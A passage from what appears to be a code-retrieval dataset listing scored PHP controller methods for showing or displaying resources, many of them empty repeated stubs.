{\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "title": "" }, { "docid": "8e4604d345a4a1aa92109fa7c7b9b1e1", "score": "0.57854974", "text": "public function showAction(I18NResource $i18NResource)\n {\n $use_translations = $this->get('Services')->get('use_translations');\n\n if(!$use_translations){\n throw $this->createNotFoundException('Not a valid request');\n }\n\n $this->get('Services')->setMenuItem('I18NResource');\n $changes = $this->get('Services')->getLogsByEntity($i18NResource);\n\n return $this->render('i18nresource/show.html.twig', array(\n 'i18NResource' => $i18NResource,\n 'changes' => $changes,\n ));\n }", "title": "" }, { "docid": "e918056f269cc66c35d0c9d5ae72cf98", "score": "0.57844186", "text": "protected function addResourceShow($name, $base, $controller, $options)\n\t{\n\t\t$uri = $this->getResourceUri($name).'/{'.$base.'}.{format?}';\n\n\t\treturn $this->get($uri, $this->getResourceAction($name, $controller, 'show', $options));\n\t}", "title": "" }, { "docid": "dfcf7f89daddfb442f3e0ba6b417b34a", "score": "0.5778913", "text": "public function specialdisplayAction()\n {\n \n $this->view->headLink()->appendStylesheet($this->view->baseUrl().'/css/profile.css');\n \n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n );\n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n\n if ($input->isValid()) {\n\n $user_info = new Tripjacks_Model_Venue;\n\n $result = $user_info->getVenue($input->id);\n\n if (count($result) == 1) {\n $this->view->user_info = $result[0];\n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input');\n }\n }", "title": "" }, { "docid": "496570de6c493cd9fe30f7c52ceb87d1", "score": "0.57692057", "text": "public function show($id)\n\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//\n\t\t\t\t\t}", "title": "" }, { "docid": "fcef539023519ca355832da7d8f035c5", "score": "0.57571274", "text": "public function displayTask($id=null)\n\t{\n\t\t// Incoming\n\t\tif (!$id)\n\t\t{\n\t\t\t$id = Request::getInt('id', 0);\n\t\t}\n\n\t\t// Ensure we have an ID to work with\n\t\tif (!$id)\n\t\t{\n\t\t\tApp::abort(404, Lang::txt('CONTRIBUTE_NO_ID'));\n\t\t}\n\n\t\t// Get all contributors of this resource\n\t\t$resource = Entry::oneOrFail($id);\n\n\t\t$authors = $resource->authors()\n\t\t\t->ordered()\n\t\t\t->rows();\n\n\t\t// Get all roles for this resoruce type\n\t\t$roles = $resource->type->roles()->rows();\n\n\t\t// Output view\n\t\t$this->view\n\t\t\t->set('config', $this->config)\n\t\t\t->set('id', $id)\n\t\t\t->set('contributors', $authors)\n\t\t\t->set('roles', $roles)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->setLayout('display')\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "1e8ae24781dac20c4f5e103867a805e0", "score": "0.57560647", "text": "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "title": "" }, { "docid": "a3e57330d7cd59896b945f16d0e12a89", "score": "0.57557684", "text": "public function display()\n {\n echo $this->render();\n }", "title": "" }, { "docid": "69113639710554fd174b3aaec6536b9c", "score": "0.5755478", "text": "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "title": "" }, { "docid": "e3b51ebfe04703c114ab39fc729ba43b", "score": "0.5748668", "text": "public function show(Entry $entry)\n {\n //\n }", "title": "" }, { "docid": "1eedca4ba72a90a807a2f92511283570", "score": "0.57458556", "text": "public function show()\n\t{\n\n\n\t}", "title": "" }, { "docid": "5e79caa6f512ec951cafbf72e8caa6f2", "score": "0.5744877", "text": "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "title": "" }, { "docid": "e68751480fa47a0b2d2bc46570e3a883", "score": "0.57348186", "text": "public function display($id = null) {\n \n }", "title": "" }, { "docid": "ca0564d197f7b97c9c7bb3bf9ec0d891", "score": "0.57335985", "text": "public function display($id = null) {\n\t\t$page = $this->SimplePage->findById($id);\n\t\tif(!$page){\n\t\t\t$this->Session->setFlash(__('Page not found'),'error');\n\t\t\t$this->redirect($this->referer());\n\t\t}\n\t\t\n\t\t//If the page was requested using requestAction, return the page object. Can be handy for integration of content in custom pages.\n\t\tif (! empty($this->request->params['requested']) ) {\n\t\t\treturn $page;\n\t\t}\n\t\t\n\t\t$this->set('page',$page);\n\t}", "title": "" }, { "docid": "cd5d84906dc48426110533ed06d6910f", "score": "0.57283133", "text": "public function show()\n {\n $data = $this->m->getOne('main', Validate::sanitize($_GET['id']));\n \n //sending data to the view\n $this->view->assign('id', $_GET['id']);\n $this->view->assign('data', $data);\n $this->view->assign('title', 'Page title');\n $this->view->display('main/show.tpl');\n \n }", "title": "" }, { "docid": "7684a3ad9102aa78b598eb1a828f68c5", "score": "0.5725608", "text": "public function show($id)\n {\n //\n $this->_show($id);\n }", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.57247883", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722566", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.57188773", "text": "public function show($id) {}", "title": "" }, { "docid": "e3c948157c6e692386196d78f9677b46", "score": "0.57129806", "text": "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "title": "" }, { "docid": "a494be3f6d40a2f537ff292b7a0ccaae", "score": "0.57121915", "text": "public function item($id=0)\n {\n\t\tif($this->session->userlogged_in !== '*#loggedin@Yes')\n\t\t{\n\t\t\tredirect(base_url().'dashboard/login/');\n }\n \n $resource = $this->member_resource_model->find($id);\n if(empty($resource))\n {\n $this->session->action_success_message = 'Invalid item selection.';\n redirect(base_url().'member_resources/');\n }\n \n\t\t$data = array(\n 'page_title' => 'Resource detail',\n 'resource' => $resource\n );\n\n\t\t$this->load->view('templates/header', $data);\n\t\t$this->load->view('member_resources/item_view');\n\t\t$this->load->view('templates/footer');\n }", "title": "" }, { "docid": "b791634a3b29fe8adff71b755317e88e", "score": "0.5706602", "text": "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "title": "" }, { "docid": "5766cf8c652099e6e707b39bd867a1c0", "score": "0.5703987", "text": "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.5702628", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.5702628", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.5702628", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.5702628", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.5702628", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.5702628", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "d936662ad1c81979476df2e0767c5e19", "score": "0.5699486", "text": "public function show($id)\n\t{\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "9032057600ac1cb05d858c6264b8aed1", "score": "0.5693245", "text": "public function show()\n {\n return auth()->user()->getResource();\n }", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684881", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
10e17c9b59a4c5244a6ae2229eb30919
Adds main links to a logout widget
[ { "docid": "63a5e2f2d53b847bd486d534475230db", "score": "0.7200375", "text": "function um_logout_user_links( $args ) {\r\n\t?>\r\n\r\n\t<li><a href=\"<?php echo um_get_core_page( 'account' ); ?>\"><?php _e( 'Your account', 'ultimate-member' ); ?></a></li>\r\n\t<li><a href=\"<?php echo esc_url( add_query_arg( 'redirect_to', UM()->permalinks()->get_current_url( true ), um_get_core_page( 'logout' ) ) ); ?>\"><?php _e('Logout','ultimate-member'); ?></a></li>\r\n\r\n\t<?php\r\n}", "title": "" } ]
[ { "docid": "bec29a3de49592e34cd50c05050c848a", "score": "0.7084964", "text": "public function outputLogoutLink()\n\t{\n\t\t$html = '<a href=\"javascript:venus.logout()\" data-tooltip=\"' . App::e(App::__e('tooltip_logout')) . '\" class=\"logout\"><img src=\"' . App::e($this->images_url . 'logout-link.png') . '\" alt=\"' . App::__e('tooltip_logout') . '\" /></a>';\n\n\t\t$html = $this->app->plugins->filter('admin_system_theme_output_logout_link', $html, $this);\n\n\t\t$this->outputLogoutForm();\n\n\t\techo $html;\n\t}", "title": "" }, { "docid": "e0075b37db721af74b0754118d91c594", "score": "0.68517166", "text": "public static function loginLogoutDashboardMenu()\n\t{\n\t\tif(DashboardController::isLoggedIn()) {\n\t\t\techo '<a href=\"'. self::getDashboardLink() .'\" class=\"btn btn--primary-onblack w-40 mr-4\">'. __('Mijn DDA', 'dda') .'</a>\n\t\t\t<a href=\"' . wp_logout_url() . '\" class=\"btn btn--tertiary-onblack logoutButton\">'. __('Uitloggen', 'dda') .'</a>';\n\t\t} else {\n\t\t\techo '<a href=\"'. self::getLoginLink() .'\" class=\"btn btn--secondary w-40 mr-4\">'. __('Inloggen', 'dda') .'</a>\n <a href=\"'. self::getRegisterLink() .'\" class=\"btn btn--primary-onblack w-40\">'. __('Aanmelden', 'dda') .'</a>';\n\t\t}\n\t}", "title": "" }, { "docid": "2627f8902f23ffa2943405e5f58d94f4", "score": "0.6815888", "text": "static function logout_link($text = 'Logout') {\n\t\treturn '<a href=\"' . thisURL() . '?logout=now\">' . $text . '</a>';\n\t}", "title": "" }, { "docid": "848fa5477e4cda0fcd5d53fd9f2e9847", "score": "0.6687563", "text": "public function aggiungiTastoLogout() {\r\n $tasto_logout_profilo=array();\r\n\t\t$tasto_logout_profilo[]=array('testo' => 'Profilo', 'link' => '?controller=registrazione&task=profilo');\r\n $tasto_logout_profilo[]=array('testo' => 'Logout', 'link' => '?controller=registrazione&task=esci');\r\n $this->_side_button=array_merge($tasto_logout_profilo,$this->_side_button);\r\n }", "title": "" }, { "docid": "b285c40fd38856e7ce9ae670f47dbe91", "score": "0.6628628", "text": "function showLogoutPage() {\n\t\t$this->setCacheLevelNone();\n\t\t$this->render($this->getTpl('logout'));\n\t}", "title": "" }, { "docid": "97a79020f2104c4827cdd60ca17e794f", "score": "0.6528631", "text": "function lb_show_btn_logout() {\n\tif ( $_SESSION['login'] ) {\n\t\t?>\n\t\t<a href=\"?logout\" class=\"btn btn-light\">Logout</a>\n\t\t<?php\n\t}\n}", "title": "" }, { "docid": "e47e08d111e2a141c1e35d496e7c211d", "score": "0.65170705", "text": "public static function getLogoutPage() {\n\t\t$strong = \\Strong\\Strong::getInstance();\n\t\t$strong->logout(true);\n\t\t$app = \\Slim\\Slim::getInstance();\n\t\tif (MAINURL != '') {\n\t\t\t$app->redirect(MAINURL);\n\t\t} else {\n\t\t\t$app->redirect('/');\n\t\t}\n\t}", "title": "" }, { "docid": "41ef33726913664364c0894f50b079ed", "score": "0.6452889", "text": "public function DoLogoutBox() {\n\t\treturn \"<form method='get' action=''>\n\t\t\t\t\t<input type='submit' id='$this->logoutButton' name='$this->logoutButton' value='Logout' />\n\t\t\t\t</form>\";\n \t}", "title": "" }, { "docid": "7c5a00335cb3a567e0a000ddf865d332", "score": "0.63546", "text": "function logout_pseudoaction() {\n return '\"\"<a class=\"logout-click\" href=\"#\">Logout</a>\"\"';\n }", "title": "" }, { "docid": "69163e972229d4173d26529401bee54e", "score": "0.6347307", "text": "function clpr_admin_bar_render() {\n global $wp_admin_bar;\n\n if ( is_user_logged_in() ) {\n\t\t$wp_admin_bar->remove_menu( 'logout' );\n\t\t$wp_admin_bar->add_menu( array(\n\t\t\t'parent' => 'user-actions',\n\t\t\t'id' => 'logout',\n\t\t\t'title' => __( 'Log out', APP_TD ),\n\t\t\t'href' => clpr_logout_url(),\n\t\t) );\n\t}\n\n}", "title": "" }, { "docid": "c01655491f3301d11239276e586b3360", "score": "0.63424563", "text": "public function logOut()\n {\n return $this->render('page/index.html.twig', ['logout' => true]);\n }", "title": "" }, { "docid": "0ce3da4701c49fe2b1a0d0368ebaadee", "score": "0.633112", "text": "function widget_auth_nav($args = array()) {\n extract($args);\n\t \n $widget_id = $this->_wdgt_auth_nav_key;\n $config = $this->_get_wp_option($widget_id);\n \n echo $before_widget; // WP STANDARD\t \n echo '<li id=\"'.$widget_id.'\" class=\"widget '.$widget_id.'\">';\n \t \n\t $title = ( $config['title'] != '' ) ? $config['title'] : $this->__('Praized: Session');\n\t \n\t echo $before_title; // WP STANDARD\n\t echo '<h2 class=\"widgettitle\">'.$title.'</h2>';\n\t echo $after_title; // WP STANDARD\n \n $this->template('_auth_nav', true);\n \n echo \"\\n</li>\\n\";\n echo $after_widget; // WP STANDARD\n\t }", "title": "" }, { "docid": "1fc0a9db349cf0b0d400427aff151ac3", "score": "0.6294774", "text": "public function logout()\r\n\t{\r\n\t\t$this->webDriver->findElement(WebDriverBy::linkText('Abmelden'))->click();\r\n\t\t$this->webDriver->findElement(WebDriverBy::linkText('Bei ILIAS anmelden'))->click();\r\n\t}", "title": "" }, { "docid": "d326387aadb348d1f874211c2fe7a76a", "score": "0.6230778", "text": "function cp_admin_bar_render() {\n\tglobal $wp_admin_bar;\n\n\tif ( is_user_logged_in() ) {\n\t\t$wp_admin_bar->remove_menu( 'logout' );\n\t\t$wp_admin_bar->add_menu( array(\n\t\t\t'parent' => 'user-actions',\n\t\t\t'id' => 'logout',\n\t\t\t'title' => __( 'Log out', APP_TD ),\n\t\t\t'href' => cp_logout_url(),\n\t\t) );\n\t}\n\n}", "title": "" }, { "docid": "9b73cf59d151a9d12d20c2e5e7ce514e", "score": "0.6228815", "text": "public function user_logout()\n {\n /**\n * first todo\n * todo auth|login|middleware\n * alternative use ->loginAs(Model::find(id))\n */\n $this->user_login();\n // open browser\n $this->browse(function (Browser $browser) {\n $browser\n ->assertSee('Data Cabang')\n /**\n * ?clickLink('param')\n * the function for this\n * <a href='x'> param </a>\n */\n ->clickLink('Logout')\n // don't forget to put path after execute link/move/change address.url\n ->assertPathIs('/login')\n ->assertSee('Form Login')\n // fill some field , for the toast end of execute\n ->value('#username', 'berhasil logout')\n // ->type('username', 'berhasil Logout')\n // capture the task\n ->screenshot('UserAuthLogout')\n // end\n ;\n });\n }", "title": "" }, { "docid": "115fc4368aa92ad09396cde9a5033e93", "score": "0.61895347", "text": "function _mw_adminimize_add_logout( $wp_admin_bar ) {\n\n\t$user_id = get_current_user_id();\n\t$_mw_adminimize_ui_redirect = (int) _mw_adminimize_get_option_value( '_mw_adminimize_ui_redirect' );\n\t$redirect = '';\n\tif ( 1 === $_mw_adminimize_ui_redirect ) {\n\t\t$redirect = '&amp;redirect_to=' . get_option( 'siteurl' );\n\t}\n\n\tif ( ! $user_id ) {\n\t\treturn;\n\t}\n\n\t$wp_admin_bar->add_menu(\n\t\tarray(\n\t\t\t'id' => 'mw-account',\n\t\t\t'parent' => 'top-secondary',\n\t\t\t'title' => esc_attr__( 'Log Out' ),\n\t\t\t'href' => wp_logout_url() . $redirect,\n\t\t)\n\t);\n}", "title": "" }, { "docid": "551a257ba5253b0f1709545a333667db", "score": "0.61298203", "text": "function log_out() {\n $this->logout();\n }", "title": "" }, { "docid": "503492abc9b845627b8069bd2a9d9397", "score": "0.61185825", "text": "protected function getLogoutUrl() : string\n\t{\n\t\treturn $this->app->admin_url . 'logout.php';\n\t}", "title": "" }, { "docid": "40c51773eb4080199da3fc2bda63b35f", "score": "0.6105425", "text": "protected function _logout_execute() {\n\t\t\n\t\twp_logout();\n\t\t\n\t\tSSO_Utils::view('refresh', array());\n\t}", "title": "" }, { "docid": "49c3019cd30725fd7849f68532065642", "score": "0.61042845", "text": "function epsilon_logout_url(){\r\n\treturn esc_url( wp_logout_url( epsilon_current_url() ) );\r\n}", "title": "" }, { "docid": "8d70e7b3f3722ba71ed516a17d5b0307", "score": "0.60796314", "text": "function logoutAction() {\r\n \t \r\n \t\r\n \t$auth = Zend_Auth::getInstance();\r\n \t$auth->clearIdentity();\r\n \r\n \t$urlOptions = array('controller' => 'index', 'action' => 'index');\r\n \r\n \t$this->_helper->redirector->gotoRoute($urlOptions);\r\n \r\n }", "title": "" }, { "docid": "9d0f243e3922cf42c341b58340e6f74b", "score": "0.60734504", "text": "function wpwebapp_logout() {\n\n $logout = wp_logout_url( home_url() );\n\n\t// Display the form\n\treturn $logout;\n}", "title": "" }, { "docid": "7f64adc4127af8c7f3bbec6d146b09ff", "score": "0.6052622", "text": "function logout() {\n $this->data['title'] = \"Logout\";\n\n //log the user out\n $logout = $this->admin_ion_auth->logout();\n\n //redirect them back to the page they came from\n redirect('admin/auth', 'refresh');\n }", "title": "" }, { "docid": "ee03c8462d0cacbfef3a9c942686a4a2", "score": "0.6043827", "text": "abstract public function logout();", "title": "" }, { "docid": "a963c4ee8bc3857159835b969f1707bd", "score": "0.6018039", "text": "public function loadPageLogout() \n {\n \n if($this->isLoggedIn())\n {\n\n $this->presenter->setContent((new Form())->getLogout($this->getSessionUsername()));\n $this->closeSession();\n $this->presenter->setRedir();\n $this->presenter->render();\n }\n else\n {\n $this->error[] = \"You're not logged in yet. You're now redirected to\"\n . \"the login page.\";\n $this->loadPageLogin();\n }\n }", "title": "" }, { "docid": "573a53a4ad738003a32756f6c06a44e0", "score": "0.6011388", "text": "public function generateLogoutButtonHTML() {\n\t\treturn '\n\t\t<form method=\"post\" >\n\t\t\t\t<p id=\"' . self::$messageId . '\">' . $this->message .'</p>\n\t\t\t\t<input type=\"submit\" name=\"' . self::$logout . '\" value=\"logout\"/>\n\t\t\t\t</form>\n\t\t';\n\t}", "title": "" }, { "docid": "b91f23497c200b4b07b7b2604531faca", "score": "0.60078764", "text": "function logoutCallback();", "title": "" }, { "docid": "d21e85bf74ac8ac91f83305dab0e3c07", "score": "0.60033315", "text": "public function showLogoutAction()\n {\n }", "title": "" }, { "docid": "039ae870576465abc5c26c6e9e76047a", "score": "0.600226", "text": "public function showLogoutButton() {\n\t\t$link = \"parent.location='\" . $this->link('logOut') . \"'\";\n\t\t$element = Html::el('input')->addAttributes(array(\n\t\t\t 'type' => 'button',\n\t\t\t 'value' => 'Odhlásit',\n\t\t\t 'onClick' => $link\n\t\t));\n\t\treturn $element;\n\t}", "title": "" }, { "docid": "7272d391bade86c6993fe8d896456cd5", "score": "0.5962542", "text": "protected function _getLogoutLink()\n {\n $oConfig = $this->getConfig();\n\n $sLogoutLink = $oConfig->isSsl() ? $oConfig->getShopSecureHomeUrl() : $oConfig->getShopHomeUrl();\n $sLogoutLink .= 'cl=' . $oConfig->getRequestParameter('cl') . $this->getParent()->getDynUrlParams();\n if ($sParam = $oConfig->getRequestParameter('anid')) {\n $sLogoutLink .= '&amp;anid=' . $sParam;\n }\n if ($sParam = $oConfig->getRequestParameter('cnid')) {\n $sLogoutLink .= '&amp;cnid=' . $sParam;\n }\n if ($sParam = $oConfig->getRequestParameter('mnid')) {\n $sLogoutLink .= '&amp;mnid=' . $sParam;\n }\n if ($sParam = $oConfig->getRequestParameter('tpl')) {\n $sLogoutLink .= '&amp;tpl=' . $sParam;\n }\n if ($sParam = $oConfig->getRequestParameter('oxloadid')) {\n $sLogoutLink .= '&amp;oxloadid=' . $sParam;\n }\n if ($sParam = $oConfig->getRequestParameter('recommid')) {\n $sLogoutLink .= '&amp;recommid=' . $sParam;\n }\n\n return $sLogoutLink . '&amp;fnc=logout';\n }", "title": "" }, { "docid": "1ef0579afb7d3cae05cb1a1218909032", "score": "0.5959989", "text": "function NoLogout(&$personal_urls, $title) {\n $personal_urls['logout'] = null;\n}", "title": "" }, { "docid": "a3d9c4692b6ccc1c0166de3fa0c85e44", "score": "0.59484494", "text": "public function index()\n\t{\n $this->doLogout();\n\t}", "title": "" }, { "docid": "8ba927a4a1cc75b4c53b7cededfea7f1", "score": "0.59399325", "text": "private function end() {\n\t\tif (is_logged_in()) {\n\t\t\tif (is_admin()) {\n\t\t\t\t$management = array(\n\t\t\t\t\t'Management' => array(\n\t\t\t\t\t\t'_url' => ABSURL . 'management',\n\t\t\t\t\t\t'Clients' => ABSURL . 'management/clients',\n\t\t\t\t\t\t'Users' => ABSURL . 'management/users',\n\t\t\t\t\t\t'navbar' => 'right',\n\t\t\t\t\t\t'glyphicon' => 'glyphicon-cog'\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\t$this->addItems($management);\n\t\t\t}\n\t\t\t$this->addItem('Log Out', ABSURL . 'log-out', array('navbar' => \"right\", 'glyphicon' => 'glyphicon-off'));\n\t\t}\n\t}", "title": "" }, { "docid": "f034ba049cdb2ac33a54391203f949eb", "score": "0.59283686", "text": "function returnLogout() {\n\t$iniArray = parse_ini_file('./config/application.ini', true);\n\t$security = $iniArray['login']['security'];\n\n\tif ($security 